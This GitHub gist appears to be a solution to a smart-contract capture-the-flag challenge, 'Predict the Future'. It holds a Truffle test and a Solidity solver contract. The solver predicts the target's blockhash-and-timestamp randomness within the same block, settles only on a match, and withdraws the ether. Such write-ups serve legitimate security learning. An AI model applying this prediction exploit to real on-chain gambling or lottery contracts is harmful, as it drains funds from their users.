Skip to content

Instantly share code, notes, and snippets.

@saurfang
Created April 15, 2018 03:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save saurfang/3aa92ebfcfb201e2be3de668ad0aade4 to your computer and use it in GitHub Desktop.
Save saurfang/3aa92ebfcfb201e2be3de668ad0aade4 to your computer and use it in GitHub Desktop.
const PredictTheFutureChallenge = artifacts.require('PredictTheFutureChallenge');
const PredictTheFutureSolver = artifacts.require('PredictTheFutureSolver');
contract('PredictTheFutureSolver', ([account]) => {
it('should solve the challenge', async () => {
let challenge = await PredictTheFutureChallenge.new({value: web3.toWei(1, 'ether')});
let solver = await PredictTheFutureSolver.new();
let guess = 0;
await solver.lockInGuess(challenge.address, guess, {value: web3.toWei(1, 'ether')});
// call withdraw with no effect to go to next block in test
await solver.withdraw();
while (! await challenge.isComplete()) {
console.log("Try guess...");
await solver.guess(challenge.address, guess);
}
assert(
await challenge.isComplete() === true,
'Challenge has not been completed!'
);
});
});
pragma solidity ^0.4.21;
import "./PredictTheFutureChallenge.sol";
contract PredictTheFutureSolver {
address owner;
function PredictTheFutureSolver() public {
owner = msg.sender;
}
function lockInGuess(address _challenge, uint8 n)
public
payable {
require(msg.value == 1 ether);
PredictTheFutureChallenge challenge = PredictTheFutureChallenge(_challenge);
challenge.lockInGuess.value(msg.value)(n);
}
function guess(address _challenge, uint8 n)
public
payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (answer == n) {
PredictTheFutureChallenge challenge = PredictTheFutureChallenge(_challenge);
challenge.settle();
}
}
function ()
public
payable {
}
function withdraw() public {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment